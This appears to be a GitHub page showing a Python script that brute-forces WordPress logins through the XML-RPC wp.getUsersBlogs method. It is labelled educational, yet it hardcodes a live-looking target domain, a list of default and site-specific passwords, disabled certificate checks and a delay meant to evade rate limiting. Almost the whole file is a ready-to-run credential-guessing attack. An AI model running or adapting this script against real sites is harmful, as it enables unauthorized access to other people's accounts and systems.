-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathxmlrpc_bruteforce.py
More file actions
76 lines (62 loc) · 2.05 KB
/
xmlrpc_bruteforce.py
File metadata and controls
76 lines (62 loc) · 2.05 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python3
"""
XML-RPC Brute Force Attack - Educational Purpose Only
"""
import requests
import xml.etree.ElementTree as ET
import time
import sys
# Common WordPress credentials
credentials = [
("admin", "admin"),
("admin", "password"),
("admin", "123456"),
("admin", "azalai"),
("azalai", "azalai"),
("admin", "admin123"),
("administrator", "password"),
("wpadmin", "wpadmin"),
("root", "root"),
("test", "test")
]
def test_xmlrpc_login(url, username, password):
"""Test credentials via XML-RPC"""
xml_payload = f"""<?xml version="1.0"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>{username}</value></param>
<param><value>{password}</value></param>
</params>
</methodCall>"""
try:
response = requests.post(url, data=xml_payload, timeout=10, verify=False)
if "faultCode" not in response.text and "isAdmin" in response.text:
return True, response.text[:200]
elif "faultCode 403" in response.text:
return False, "Rate limited/blocked"
else:
return False, "Invalid credentials"
except Exception as e:
return False, f"Error: {str(e)}"
def main():
target = "https://secure-azalai.azalai.com/www/xmlrpc.php"
print("🔥 XML-RPC Brute Force Attack - Educational Lab")
print("=" * 50)
print(f"Target: {target}")
print(f"Credentials to test: {len(credentials)}")
print()
for username, password in credentials:
print(f"Testing: {username}:{password}", end=" ")
success, result = test_xmlrpc_login(target, username, password)
if success:
print(f"✅ SUCCESS!")
print(f"Response: {result}")
print(f"VALID CREDENTIALS: {username}:{password}")
return
else:
print(f"❌ {result}")
time.sleep(1) # Avoid rate limiting
print("\n❌ No valid credentials found")
if __name__ == "__main__":
main()